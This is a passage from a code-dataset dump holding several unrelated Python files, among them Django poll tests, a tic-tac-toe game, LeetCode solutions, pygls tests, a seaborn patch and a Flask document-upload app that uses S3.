self.assertFalse(PollAnswer.objects.filter(poll=new_topic.poll).exists()) # no answers here\n\n values['name'] = 'test poll name 1'\n values['poll_type'] = 1\n values['answers-0-text'] = 'answer1' # not enough answers\n\n values['answers-TOTAL_FORMS'] = 1\n\n response = self.client.post(topic_create_url, values, follow=True)\n\n self.assertFalse(Topic.objects.filter(name='test poll name 1').exists())\n\n values['name'] = 'test poll name 1'\n values['poll_type'] = 1\n values['answers-0-text'] = 'answer1' # too many answers\n values['answers-1-text'] = 'answer2'\n values['answers-2-text'] = 'answer3'\n values['answers-TOTAL_FORMS'] = 3\n response = self.client.post(topic_create_url, values, follow=True)\n self.assertFalse(Topic.objects.filter(name='test poll name 1').exists())\n\n values['name'] = 'test poll name 1'\n values['poll_type'] = 1 # poll type = single choice, create answers\n values['poll_question'] = 'q1'\n values['answers-0-text'] = 'answer1' # two answers - what do we need to create poll\n values['answers-1-text'] = 'answer2'\n values['answers-TOTAL_FORMS'] = 2\n response = self.client.post(topic_create_url, values, follow=True)\n self.assertEqual(response.status_code, 200)\n\n new_topic = Topic.objects.get(name='test poll name 1')\n\n self.assertEqual(new_topic.poll.question, 'q1')\n self.assertEqual(PollAnswer.objects.filter(poll=new_topic.poll).count(), 2)\n\n def test_poll_edit(self):\n edit_topic_url = reverse('pybb:post_update', kwargs={'pk': self.post.id})\n self.login()\n response = self.client.get(edit_topic_url)\n values = self.get_form_values(response)\n values['poll_type'] = 1 # add_poll\n values['poll_question'] = 'q1'\n values['answers-0-text'] = 'answer1'\n values['answers-1-text'] = 'answer2'\n values['answers-TOTAL_FORMS'] = 2\n response = self.client.post(edit_topic_url, values, follow=True)\n self.assertEqual(response.status_code, 200)\n\n topic = Topic.objects.get(id=self.topic.id)\n\n self.assertEqual(topic.poll.type, 1)\n self.assertEqual(topic.poll.question, 'q1')\n self.assertEqual(PollAnswer.objects.filter(poll=topic.poll).count(), 2)\n\n values = self.get_form_values(self.client.get(edit_topic_url))\n values['poll_type'] = 2 # change_poll type\n values['poll_question'] = 'q100' # change poll question\n values['answers-0-text'] = 'answer100' # change poll answers\n values['answers-1-text'] = 'answer200'\n values['answers-TOTAL_FORMS'] = 2\n response = self.client.post(edit_topic_url, values, follow=True)\n self.assertEqual(response.status_code, 200)\n\n self.assertEqual(Topic.objects.get(id=self.topic.id).poll.type, 2)\n self.assertEqual(Topic.objects.get(id=self.topic.id).poll.question, 'q100')\n self.assertEqual(PollAnswer.objects.filter(poll=topic.poll).count(), 2)\n self.assertTrue(PollAnswer.objects.filter(text='answer100').exists())\n self.assertTrue(PollAnswer.objects.filter(text='answer200').exists())\n self.assertFalse(PollAnswer.objects.filter(text='answer1').exists())\n self.assertFalse(PollAnswer.objects.filter(text='answer2').exists())\n\n values['poll_type'] = 0 # remove poll\n values['answers-0-text'] = 'answer100' # no matter how many answers we provide\n values['answers-TOTAL_FORMS'] = 1\n response = self.client.post(edit_topic_url, values, follow=True)\n self.assertEqual(response.status_code, 200)\n\n self.assertIsNone(Topic.objects.get(id=self.topic.id).poll)\n\n self.assertEqual(PollAnswer.objects.filter(poll=topic.poll).count(), 0)\n\n def test_poll_voting(self):\n def recreate_poll(poll_type):\n\n if self.topic.poll:\n self.topic.poll.delete()\n\n poll = Poll(type=poll_type)\n poll.save()\n\n self.topic.poll = poll\n self.topic.save()\n\n PollAnswer.objects.create(poll=poll, text='answer1')\n PollAnswer.objects.create(poll=poll, text='answer2')\n\n self.login()\n recreate_poll(poll_type=Poll.TYPE_SINGLE)\n vote_url = reverse('pybb:topic_poll_vote', kwargs={'pk': self.topic.id})\n my_answer = PollAnswer.objects.all()[0]\n values = {'answers': my_answer.id}\n response = self.client.post(vote_url, data=values, follow=True)\n self.assertEqual(response.status_code, 200)\n self.assertEqual(Topic.objects.get(id=self.topic.id).poll_votes, 1)\n self.assertEqual(PollAnswer.objects.get(id=my_answer.id).votes(), 1)\n self.assertEqual(PollAnswer.objects.get(id=my_answer.id).votes_percent(), 100.0)\n\n # already voted\n response = self.client.post(vote_url, data=values, follow=True)\n self.assertEqual(response.status_code, 400) # bad request status\n\n recreate_poll(poll_type=Poll.TYPE_MULTIPLE)\n values = {'answers': [a.id for a in PollAnswer.objects.all()]}\n response = self.client.post(vote_url, data=values, follow=True)\n self.assertEqual(response.status_code, 200)\n self.assertListEqual([a.votes() for a in PollAnswer.objects.all()], [1, 1, ])\n self.assertListEqual([a.votes_percent() for a in PollAnswer.objects.all()], [50.0, 50.0, ])\n\n def tearDown(self):\n defaults.PYBB_POLL_MAX_ANSWERS = self.PYBB_POLL_MAX_ANSWERS\n","sub_path":"tests/views/test_poll.py","file_name":"test_poll.py","file_ext":"py","file_size_in_byte":6710,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"25557912","text":"\"\"\"\r\nMuneeb Ansari\r\nTic Tac Toe - PvP\r\n\"\"\"\r\nimport random\r\n\r\n\r\ndef construct_board(the_board):\r\n \"\"\"Build the game board.\"\"\"\r\n print('\\n | |')\r\n print(' ' + the_board[1] + ' | ' + the_board[2] + ' | ' + the_board[3])\r\n print(' | |')\r\n print('-----------')\r\n print(' | |')\r\n print(' ' + the_board[4] + ' | ' + the_board[5] + ' | ' + the_board[6])\r\n print(' | |')\r\n print('-----------')\r\n print(' | |')\r\n print(' ' + the_board[7] + ' | ' + the_board[8] + ' | ' + the_board[9])\r\n print(' | |\\n')\r\n\r\n\r\ndef free_space(the_board, pos):\r\n \"\"\"Return True if the position on game board is\r\n unoccupied.\r\n \"\"\"\r\n return the_board[pos] == ' '\r\n\r\n\r\ndef winner_across(the_board, char):\r\n \"\"\"Retrun True if the game has been won by horizontal placement.\"\"\"\r\n return ((the_board[1] == the_board[2] == the_board[3] == char) or\r\n (the_board[4] == the_board[5] == the_board[6] == char) or\r\n (the_board[7] == the_board[8] == the_board[9] == char))\r\n\r\n\r\ndef winner_down(the_board, char):\r\n \"\"\"Retrun True if the game has been won by vertical placement.\"\"\"\r\n return ((the_board[1] == the_board[4] == the_board[7] == char) or\r\n (the_board[2] == the_board[5] == the_board[8] == char) or\r\n (the_board[3] == the_board[6] == the_board[9] == char))\r\n\r\n\r\ndef winner_diagonal(the_board, char):\r\n \"\"\"Retrun True if the game has been won by diagonal placement.\"\"\"\r\n return ((the_board[1] == the_board[5] == the_board[9] == char) or\r\n (the_board[3] == the_board[5] == the_board[7] == char))\r\n\r\n\r\ndef game_winner(the_board, char):\r\n \"\"\"Return True if the game has been won.\"\"\"\r\n return (winner_across(board, char) or winner_diagonal(the_board, char) or\r\n winner_down(the_board, char))\r\n\r\n\r\ndef check_draw(the_board):\r\n \"\"\"Return True if the game ends in a draw.\"\"\"\r\n draw = True\r\n for i in range(1, 9):\r\n if free_space(the_board, i):\r\n draw = False\r\n return draw\r\n\r\n\r\ndef character_selection(char_selected):\r\n \"\"\"Return character pair corresponding to character selected.\"\"\"\r\n # Player 1 selection in pos. 1, player 2 selection pos. 2\r\n return ('x', 'o') if char_selected.lower() == 'x' else ('o', 'x')\r\n\r\n\r\ndef move(the_board, pos, char):\r\n \"\"\"Make move on game board with character in position .\"\"\"\r\n board[pos] = char\r\n construct_board(the_board)\r\n\r\n\r\ndef move_no_print(the_board, pos, char):\r\n \"\"\"Does not print move on game board\"\"\"\r\n the_board[pos] = char\r\n\r\n\r\ndef go_first():\r\n \"\"\"Return which player makes the first move.\"\"\"\r\n rand_val = random.randint(0, 1)\r\n return 'P1' if rand_val == 0 else \"P2\"\r\n\r\n\r\ndef switch_turns(current_turn):\r\n \"\"\"Switch to other player's turn\"\"\"\r\n return 'C' if current_turn == \"P1\" else 'P1'\r\n\r\n\r\ndef valid_move_number(curr_move):\r\n \"\"\"Check if move is a valid move number\"\"\"\r\n return curr_move in ['1', '2', '3', '4', '5', '6', '7', '8', '9']\r\n\r\n\r\ndef rematch():\r\n \"\"\"Return True if rematch is requested.\"\"\"\r\n player_response = input('Would you like a rematch? (Yes/No) \\n').lower()\r\n while not (player_response == \"yes\" or player_response == \"no\"):\r\n player_response = input(\r\n \"Please enter 'yes' for a rematch or 'no' to exit \\n\").lower()\r\n return player_response == 'yes'\r\n\r\n\r\ndef get_comp_move(the_board, char_player, char_comp):\r\n \"\"\"Return the computer's move based on current state of board.\"\"\"\r\n # Strategy for computer AI refrenced from\r\n # https://en.wikipedia.org/wiki/Tic-tac-toe\r\n\r\n # Take Middle if available\r\n if free_space(the_board, 5):\r\n move(the_board, 5, char_comp)\r\n else:\r\n # Make winning move\r\n for i in range(1, 10):\r\n board_copy = the_board[:]\r\n if free_space(board_copy, i):\r\n move_no_print(board_copy, i, char_comp)\r\n if game_winner(board_copy, char_comp):\r\n return move(the_board, i, char_comp)\r\n\r\n # Block player's win\r\n for i in range(1, 10):\r\n board_copy = the_board[:]\r\n if free_space(board_copy, i):\r\n move_no_print(board_copy, i, char_player)\r\n if game_winner(board_copy, char_player):\r\n return move(the_board, i, char_comp)\r\n\r\n # Attempt to create a left fork\r\n if board[1] == board[9] == comp_char and free_space(board, 7):\r\n return move(board, 7, comp_char)\r\n\r\n # Attemp to create a right fork\r\n elif board[3] == board[7] == comp_char and free_space(board, 9):\r\n return move(board, 9, comp_char)\r\n\r\n # play in the open spot\r\n else:\r\n\r\n for i in range(1, 10):\r\n if free_space(board, i):\r\n move(board, i, char_comp)\r\n break\r\n\r\n\r\ndef game_stats(num_games, p1_wins, p2_wins, num_drawn):\r\n \"\"\"Display game statistics.\"\"\"\r\n print(\"-------- STATISTICS --------\\n\")\r\n print(\"Games Played: \" + str(num_games))\r\n print(\"Player 1 Wins: \" + str(p1_wins))\r\n print(\"Player 2 Wins: \" + str(p2_wins))\r\n print(\"Tied Games: \" + str(num_drawn))\r\n print(\"----------------------------\\n\")\r\n\r\n\r\ndef game_header():\r\n \"\"\"Display game header.\"\"\"\r\n print('**************************** PYTHON: CONSOLE '\r\n 'TIC-TAC-TOE ***************************')\r\n print('********************************** MUNEEB ANSARI '\r\n '***********************************')\r\n print('*************************************** Player Vs. Compter '\r\n '****************************************')\r\n print('')\r\n\r\n\r\nif __name__ == \"__main__\":\r\n\r\n game_header()\r\n computer_wins, player_wins, games_played, games_drawn = 0, 0, 0, 0\r\n\r\n while True:\r\n board = [' ' for _ in range(10)]\r\n\r\n character = input(\"\\nPick 'x' or 'o': \")\r\n while not (character.lower() == 'x' or character.lower() == 'o'):\r\n character = input(\"Invalid, pick 'x' or 'o':\")\r\n\r\n player1_char = character_selection(character)[0]\r\n comp_char = character_selection(character)[1]\r\n\r\n print('\\nPlayer 1 picked: ' + player1_char)\r\n print('Computer defaults: ' + comp_char)\r\n\r\n construct_board(board)\r\n first = go_first()\r\n game_on = True\r\n\r\n while game_on:\r\n if first == 'P1':\r\n current_move = input(\"Player 1, make your move:\")\r\n while not valid_move_number(current_move) or not \\\r\n free_space(board, int(current_move)):\r\n current_move = input(\"Invalid move / space not available, \"\r\n \"Player 1, try again:\")\r\n\r\n move(board, int(current_move), player1_char)\r\n\r\n if game_winner(board, player1_char):\r\n print(\"PLAYER 1 is the WINNER! \\n\")\r\n games_played = 0\r\n player_wins += 1\r\n game_stats(games_played, computer_wins, player_wins,\r\n games_drawn)\r\n game_on = False\r\n else:\r\n if check_draw(board):\r\n print(\"GAME ENDS IN DRAW \\n\")\r\n games_played += 1\r\n games_drawn += 1\r\n game_stats(games_played, computer_wins, player_wins,\r\n games_drawn)\r\n game_on = False\r\n first = switch_turns(first)\r\n else:\r\n\r\n get_comp_move(board, player1_char, comp_char)\r\n\r\n if game_winner(board, comp_char):\r\n print(\"Computer is the WINNER! \\n\")\r\n games_played += 1\r\n computer_wins += 1\r\n game_stats(games_played, computer_wins, player_wins,\r\n games_drawn)\r\n game_on = False\r\n else:\r\n if check_draw(board):\r\n print(\"GAME ENDS IN DRAW \\n\")\r\n games_played += 1\r\n games_drawn += 1\r\n game_stats(games_played, computer_wins, player_wins,\r\n games_drawn)\r\n game_on = False\r\n first = switch_turns(first)\r\n\r\n if not rematch():\r\n break\r\n","sub_path":"Tic Tac Toe - PlayerVsComputer.py","file_name":"Tic Tac Toe - PlayerVsComputer.py","file_ext":"py","file_size_in_byte":8484,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"126262806","text":"\"\"\"\nGiven string S and a dictionary of words words, find the number of words[i] that is a subsequence of S.\n\nExample :\nInput:\nS = \"abcde\"\nwords = [\"a\", \"bb\", \"acd\", \"ace\"]\nOutput: 3\n\nExplanation: There are three words in words that are a subsequence of S: \"a\", \"acd\", \"ace\".\nNote:\nAll words in words and S will only consists of lowercase letters.\nThe length of S will be in the range of [1, 50000].\nThe length of words will be in the range of [1, 5000].\nThe length of words[i] will be in the range of [1, 50].\n\"\"\"\nclass Solution(object):\n def numMatchingSubseq(self, S, words):\n \"\"\"\n :type S: str\n :type words: List[str]\n :rtype: int\n \"\"\"\n # TLE\n def Search(S, start, path, res):\n if start > len(S):\n return\n if path in words and path not in res:\n self.cnt += d[path]\n res.append(path)\n for i in range(start, len(S)):\n Search(S, i + 1, path + S[i], res)\n\n d = {}\n for word in words:\n if word not in d:\n d[word] = 1\n else:\n d[word] += 1\n self.cnt = 0\n res = []\n Search(S, 0, '', res)\n return self.cnt, res\n\n def numMatchingSubseq2(self, S, words):\n import collections\n waiting = collections.defaultdict(list)\n for w in words:\n waiting[w[0]].append(iter(w[1:]))\n for c in S:\n for it in waiting.pop(c, ()):\n waiting[next(it, None)].append(it)\n return len(waiting[None])\n\n\n def numMatchingSubseq3(self, S, words):\n # slow\n def check(s, i):\n for c in s:\n i = S.find(c, i) + 1 # string.find(value, start, end)\n if not i: return False\n return True\n\n return sum((check(word, 0) for word in words))\n\n def numMatchingSubseq4(self, S, words):\n import collections\n word_dict = collections.defaultdict(list)\n count = 0\n\n for word in words:\n word_dict[word[0]].append(word)\n\n for char in S:\n words_expecting_char = word_dict[char]\n word_dict[char] = []\n for word in words_expecting_char:\n if len(word) == 1:\n # Finished subsequence!\n count += 1\n else:\n word_dict[word[1]].append(word[1:])\n\n return count\n\n\nS, words = \"abcde\", [\"a\", \"bb\", \"acd\", \"ace\"] # 3\n# S, words = \"dsahjpjauf\", [\"ahjpjau\",\"ja\",\"ahbwzgqnuk\",\"tnmlanowax\"]\n# S, words = \"qlhxagxdqh\", [\"qlhxagxdq\",\"qlhxagxdq\",\"lhyiftwtut\",\"yfzwraahab\"]\nprint(Solution().numMatchingSubseq4(S, words))\n\n","sub_path":"792NumMatchSubs.py","file_name":"792NumMatchSubs.py","file_ext":"py","file_size_in_byte":2705,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"93714128","text":"############################################################################\n# Copyright(c) Open Law Library. All rights reserved. #\n# See ThirdPartyNotices.txt in the project root for additional notices. #\n# #\n# Licensed under the Apache License, Version 2.0 (the \"License\") #\n# you may not use this file except in compliance with the License. #\n# You may obtain a copy of the License at #\n# #\n# http: // www.apache.org/licenses/LICENSE-2.0 #\n# #\n# Unless required by applicable law or agreed to in writing, software #\n# distributed under the License is distributed on an \"AS IS\" BASIS, #\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. #\n# See the License for the specific language governing permissions and #\n# limitations under the License. #\n############################################################################\nimport unittest\nfrom typing import List, Union\n\nfrom pygls.lsp.methods import DOCUMENT_SYMBOL\nfrom pygls.lsp.types import (DocumentSymbol, DocumentSymbolOptions, DocumentSymbolParams, Location,\n Position, Range, SymbolInformation, SymbolKind,\n TextDocumentIdentifier)\n\nfrom ..conftest import CALL_TIMEOUT, ClientServer\n\n\nclass TestDocumentSymbol(unittest.TestCase):\n @classmethod\n def setUpClass(cls):\n cls.client_server = ClientServer()\n cls.client, cls.server = cls.client_server\n\n @cls.server.feature(\n DOCUMENT_SYMBOL,\n DocumentSymbolOptions(),\n )\n def f(params: DocumentSymbolParams) -> Union[List[SymbolInformation], List[DocumentSymbol]]:\n symbol_info = SymbolInformation(\n name='symbol',\n kind=SymbolKind.Namespace,\n location=Location(\n uri='uri',\n range=Range(\n start=Position(line=0, character=0),\n end=Position(line=1, character=1),\n ),\n ),\n container_name='container',\n deprecated=False,\n )\n\n document_symbol_inner = DocumentSymbol(\n name='inner_symbol',\n kind=SymbolKind.Number,\n range=Range(\n start=Position(line=0, character=0),\n end=Position(line=1, character=1),\n ),\n selection_range=Range(\n start=Position(line=0, character=0),\n end=Position(line=1, character=1),\n ),\n )\n\n document_symbol = DocumentSymbol(\n name='symbol',\n kind=SymbolKind.Object,\n range=Range(\n start=Position(line=0, character=0),\n end=Position(line=10, character=10),\n ),\n selection_range=Range(\n start=Position(line=0, character=0),\n end=Position(line=10, character=10),\n ),\n detail='detail',\n children=[document_symbol_inner],\n deprecated=True,\n )\n\n return { # type: ignore\n 'file://return.symbol_information_list': [symbol_info],\n 'file://return.document_symbol_list': [document_symbol],\n }.get(params.text_document.uri, None)\n\n cls.client_server.start()\n\n @classmethod\n def tearDownClass(cls):\n cls.client_server.stop()\n\n def test_capabilities(self):\n capabilities = self.server.server_capabilities\n\n assert capabilities.document_symbol_provider\n\n def test_document_symbol_return_symbol_information_list(self):\n response = self.client.lsp.send_request(\n DOCUMENT_SYMBOL,\n DocumentSymbolParams(\n text_document=TextDocumentIdentifier(uri='file://return.symbol_information_list'),\n ),\n ).result(timeout=CALL_TIMEOUT)\n\n assert response\n\n assert response[0]['name'] == 'symbol'\n assert response[0]['kind'] == SymbolKind.Namespace\n assert response[0]['location']['uri'] == 'uri'\n assert response[0]['location']['range']['start']['line'] == 0\n assert response[0]['location']['range']['start']['character'] == 0\n assert response[0]['location']['range']['end']['line'] == 1\n assert response[0]['location']['range']['end']['character'] == 1\n assert response[0]['containerName'] == 'container'\n assert response[0]['deprecated'] == False\n\n def test_document_symbol_return_document_symbol_list(self):\n response = self.client.lsp.send_request(\n DOCUMENT_SYMBOL,\n DocumentSymbolParams(\n text_document=TextDocumentIdentifier(uri='file://return.document_symbol_list'),\n ),\n ).result(timeout=CALL_TIMEOUT)\n\n assert response\n\n assert response[0]['name'] == 'symbol'\n assert response[0]['kind'] == SymbolKind.Object\n assert response[0]['range']['start']['line'] == 0\n assert response[0]['range']['start']['character'] == 0\n assert response[0]['range']['end']['line'] == 10\n assert response[0]['range']['end']['character'] == 10\n assert response[0]['selectionRange']['start']['line'] == 0\n assert response[0]['selectionRange']['start']['character'] == 0\n assert response[0]['selectionRange']['end']['line'] == 10\n assert response[0]['selectionRange']['end']['character'] == 10\n assert response[0]['detail'] == 'detail'\n assert response[0]['deprecated'] == True\n\n assert response[0]['children'][0]['name'] == 'inner_symbol'\n assert response[0]['children'][0]['kind'] == SymbolKind.Number\n assert response[0]['children'][0]['range']['start']['line'] == 0\n assert response[0]['children'][0]['range']['start']['character'] == 0\n assert response[0]['children'][0]['range']['end']['line'] == 1\n assert response[0]['children'][0]['range']['end']['character'] == 1\n assert response[0]['children'][0]['selectionRange']['start']['line'] == 0\n assert response[0]['children'][0]['selectionRange']['start']['character'] == 0\n assert response[0]['children'][0]['selectionRange']['end']['line'] == 1\n assert response[0]['children'][0]['selectionRange']['end']['character'] == 1\n\n assert 'children' not in response[0]['children'][0]\n\n\nif __name__ == '__main__':\n unittest.main()\n\n","sub_path":"tests/lsp/test_document_symbol.py","file_name":"test_document_symbol.py","file_ext":"py","file_size_in_byte":6885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"264187980","text":"#!/usr/bin/python\n\nimport os, sys\n\ndirs = os.listdir('bus_data/')\n\nfor f in dirs:\n\tfile = open('bus_data/'+f,'r+')\n\tlines = file.readlines()\n\theaders = lines[0].split('PREDICTABLE')[0] + 'PREDICTABLE\\n'\n\tfirstline = lines[0].split('PREDICTABLE')[1]\n\n\tfile.seek(0)\n\tfile.write(headers) # separate header from first line\n\tfile.write(firstline[:-3]+'\\n')\n\tfor line in lines[1:]:\n\t\tfile.write(line[:-3]+'\\n') # remove /r/r and add /n\n","sub_path":"clean_bus_data.py","file_name":"clean_bus_data.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"254264454","text":"import numpy as np\nfrom ..affine import affine_transform\n\nclass multiscale(affine_transform):\n\n \"\"\"\n An affine transform representing the\n multiscale changepoint transform.\n\n This transform centers the input\n and then computes the average over\n all intervals of a minimum size.\n \"\"\"\n\n def __init__(self, p, minsize=None):\n \"\"\"\n Parameters\n ----------\n\n p : int\n Length of signal.\n\n minsize : int\n Smallest interval to consider.\n Defaults to p**(1/3.)\n\n \"\"\"\n self.p = p\n self.minsize = minsize or int(np.around(p**(1/3.)))\n self._slices = []\n _sizes = []\n for i in range(p):\n for j in range(i,p):\n if j - i >= self.minsize:\n self._slices.append((i,j))\n _sizes.append(j-i)\n self.sizes = np.array(_sizes)\n self.input_shape = (p,)\n self.output_shape = (len(self._slices),)\n\n def linear_map(self, x):\n \"\"\"\n Given a p-vector `x` compute the average of\n `x - x.mean()` over each interval\n of size greater than `self.minsize`.\n\n Parameters\n ----------\n\n x : np.float(self.input_shape)\n\n Returns\n -------\n\n v : np.float(self.output_shape)\n\n \"\"\"\n x_centered = x - x.mean()\n output = np.zeros(self.output_shape)\n cumsum = np.cumsum(x_centered)\n for k, ij in enumerate(self._slices):\n i, j = ij\n if i >= 1:\n output[k] = cumsum[j-1] - cumsum[i-1] \n else:\n output[k] = cumsum[j-1]\n output[k] /= j - i\n return output\n\n def affine_map(self, x):\n return self.linear_map(x)\n\n def offset_map(self, x):\n return x\n\n def adjoint_map(self, v):\n \"\"\"\n Parameters\n ----------\n\n v : np.float(self.output_shape)\n\n Returns\n -------\n\n v : np.float(self.input_shape)\n \"\"\"\n\n v_scaled = v / self.sizes\n output = np.zeros(self.input_shape)\n non0 = np.nonzero(v_scaled)[0]\n if non0.shape != ():\n for k in non0:\n i, j = self._slices[k]\n size = (j-i)\n output[i:j] += v_scaled[k]\n return output - output.mean()\n\n\n\n","sub_path":"regreg/affine/multiscale.py","file_name":"multiscale.py","file_ext":"py","file_size_in_byte":2354,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"192661399","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport seaborn as sns\n\ndef heatmap_patch(self, ax, cax, kws):\n \"\"\"Draw the heatmap on the provided Axes.\n\n This function is used to overwrites seaborn's\n internal heatmap plotting function in order to\n right-align numbers in the colorbar.\n\n The padding value is currently hard-coded.\n \"\"\"\n\n # Remove all the Axes spines\n sns.utils.despine(ax=ax, left=True, bottom=True)\n\n # Draw the heatmap\n mesh = ax.pcolormesh(\n self.plot_data, vmin=self.vmin, vmax=self.vmax,\n cmap=self.cmap, **kws)\n\n # Set the axis limits\n ax.set(xlim=(0, self.data.shape[1]), ylim=(0, self.data.shape[0]))\n\n # Add row and column labels\n ax.set(xticks=self.xticks, yticks=self.yticks)\n xtl = ax.set_xticklabels(self.xticklabels)\n ytl = ax.set_yticklabels(self.yticklabels, rotation=\"vertical\")\n\n # Possibly rotate them if they overlap\n plt.draw()\n if sns.utils.axis_ticklabels_overlap(xtl):\n plt.setp(xtl, rotation=\"vertical\")\n if sns.utils.axis_ticklabels_overlap(ytl):\n plt.setp(ytl, rotation=\"horizontal\")\n\n # Add the axis labels\n ax.set(xlabel=self.xlabel, ylabel=self.ylabel)\n\n # Annotate the cells with the formatted values\n if self.annot:\n self._annotate_heatmap(ax, mesh)\n\n # Possibly add a colorbar\n if self.cbar:\n cb = ax.figure.colorbar(mesh, cax, ax, **self.cbar_kws)\n # right-aligned text\n # beginning of custom code\n if np.any(self.plot_data < 0):\n ticklabs = cb.ax.get_yticklabels()\n cb.ax.set_yticklabels(ticklabs,ha='right')\n cbar_pad = 30\n cb.ax.yaxis.set_tick_params(pad=cbar_pad)\n # end of custom code\n cb.outline.set_linewidth(0)\n # If rasterized is passed to pcolormesh, also rasterize the\n # colorbar to avoid white lines on the PDF rendering\n if kws.get('rasterized', False):\n cb.solids.set_rasterized(True)\n\nsns.matrix._HeatMapper.plot = heatmap_patch\n","sub_path":"dataview/patches.py","file_name":"patches.py","file_ext":"py","file_size_in_byte":2031,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"288737039","text":"from utilis.words import Words\n\n\"\"\" The main script including business logic of application\"\"\"\n\nMENU_OPTIONS = {\n \"a\": \"animals\",\n \"e\": \"emotions\",\n \"f\": \"food\",\n \"h\": \"health\",\n \"i\": \"incorrect_translate\",\n \"m\": \"man\",\n \"p\": \"plants\",\n \"r\": \"reset table 'incorrect_translate'\",\n \"s\": \"sport\",\n \"t\": \"travel\",\n \"w\": \"work\",\n \"q\": \"quit\"\n}\n\nmenu_prompt = f\"{MENU_OPTIONS}\\nselect category: \"\nprint(\"Welcome to my program\\n\")\n\n\ndef menu():\n \"\"\"\n main menu of app.py\n \"\"\"\n selection = input(menu_prompt)\n while selection != \"q\":\n if selection in MENU_OPTIONS:\n category = MENU_OPTIONS[selection]\n words = Words(category)\n if category == MENU_OPTIONS[\"r\"]:\n words.clear_table_wrong_answers()\n menu()\n sub_menu(words)\n print(f\"Invalid category: {selection}\")\n selection = input(menu_prompt)\n\n\ndef sub_menu(words: Words):\n \"\"\"\n sub_menu is detached from menu() to avoid create \"root\" instance over every iteration\n \"\"\"\n while True:\n polish_word = words.ask_user_to_translate()\n if polish_word is None:\n menu()\n print(polish_word)\n user_answer = input(\"\\nEnter correct translate or 'b' to back to main menu: \\n\")\n if user_answer == \"b\":\n print(f\"Total score: {words.score} points\")\n menu()\n message = words.check_translate_is_correct(user_answer)\n print(f\"{message}\")\n\n\nmenu()\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"266851830","text":"\"\"\"\nGiven an array of n integers nums and a target,\nfind the number of index triplets i, j, k with 0 <= i < j < k < n\nthat satisfy the condition nums[i] + nums[j] + nums[k] < target.\n\nFor example, given nums = [-2, 0, 1, 3], and target = 2.\n\nReturn 2. Because there are two triplets which sums are less than 2:\n\n[-2, 0, 1]\n[-2, 0, 3]\nFollow up:\nCould you solve it in O(n2) runtime?\n\n\"\"\"\n\n\nclass Solution(object):\n def threeSumSmaller(self, nums, target):\n \"\"\"\n :type nums: List[int]\n :type target: int\n :rtype: int\n \"\"\"\n if not nums or len(nums) < 3:\n return 0\n\n count, n = 0, len(nums)\n nums.sort()\n for i in range(n - 2):\n j, k = i + 1, n - 1\n while j < k:\n if nums[i] + nums[j] + nums[k] < target:\n count += k - j\n j += 1\n else:\n k -= 1\n return count\n","sub_path":"medium/ThreeSumSmaller.py","file_name":"ThreeSumSmaller.py","file_ext":"py","file_size_in_byte":947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"110517784","text":"import sys\ndef exit():sys.exit(0)\ntry:\n\timport pandas as pd\nexcept ModuleNotFoundError as module_error:\n\tprint(\"Pandas has to be installed\")\n\texit()\ntry:\n\tfrom flask import Flask,request, Response, render_template\nexcept ModuleNotFoundError as module_error:\n\tprint(\"Flask has to be installed\")\n\texit()\ntry:\n\timport boto3\nexcept ModuleNotFoundError as module_error:\n\tprint(\"boto3 has to be installed\")\n\texit()\ntry:\n\timport os\nexcept ModuleNotFoundError as module_error:\n\tprint(f\"os module has to be installed\")\n\texit()\n\ntry:\n\tfrom werkzeug.utils import secure_filename\nexcept ModuleNotFoundError as module_error:\n\tprint(f\"werkzeug.utils module has to be installed\")\n\texit()\n\t\nvamstar_app = Flask(__name__)\ndef upload_folder(name):\n\tUPLOAD_FOLDER = f\"./{name}-documentation/\"\n\tvamstar_app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER \n\treturn \n\ndef vamstar_home():\n\tvamstar_string = \"\"\n\tvamstar_string = \"

    Vamstar Documentation Process

    \"\n\tvamstar_string += \"\"\n\treturn vamstar_string\n\ndef html_form(name):\n\treturn render_template('documents.html',name=name)\n\t\t\t\n@vamstar_app.route('/vamstar-documentation-step/')\ndef home_page(name):\n\ttry:\n\t\tos.mkdir(f\"{name}-documentation\")\n\texcept FileExistsError as file_error:\n\t\tpass\n\treturn vamstar_home() + html_form(name)\n\n@vamstar_app.route('/save/',methods = ['POST', 'GET'])\ndef save(name):\n\tupload_folder(name)\n\ttry:\n\t\tbucket_name = \"vamstar-documentation\"\n\t\ts3 = boto3.client('s3')\n\texcept Exception as exception:\n\t\tprint(\"Error in the aws s3 function\") \n\t\tsys.exit(0)\n\telse:\n\t\tif request.method == 'POST':\n\t\t\tdocs = ['SSC', 'Plus2', 'B.Tech', 'Masters'\t]\n\t\tfor doc in docs:\n\t\t\tfile = request.files[doc]\n\t\t\ttry:\n\t\t\t\tfile.save(os.path.join(vamstar_app.config['UPLOAD_FOLDER'],file.filename))\n\t\t\texcept IsADirectoryError as dir_err:\n\t\t\t\tpass\n\t\tdir = f\"{name}-documentation\"\n\t\tfolder_name = f\"{name}-Documents\"\n\t\tfor file_doc in os.listdir(dir):\n\t\t\ts3.upload_file(f\"{dir}/{file_doc}\",f\"{bucket_name}\",f\"{dir}/{file_doc}\")\t\n\t\tresponse = Response()\n\t\tresponse.headers[\"access-control-allow-headers\"] = \"Origin\"\n\t\tresponse.headers[\"Content-Type\"] = \"Accept\"\n\t\tresponse.headers[\"access-control-allow-methods\"] = \"GET,POST,PUT\"\n\t\tresponse.headers[\"access-control-allow-origini\"] = \"*\"\n\treturn 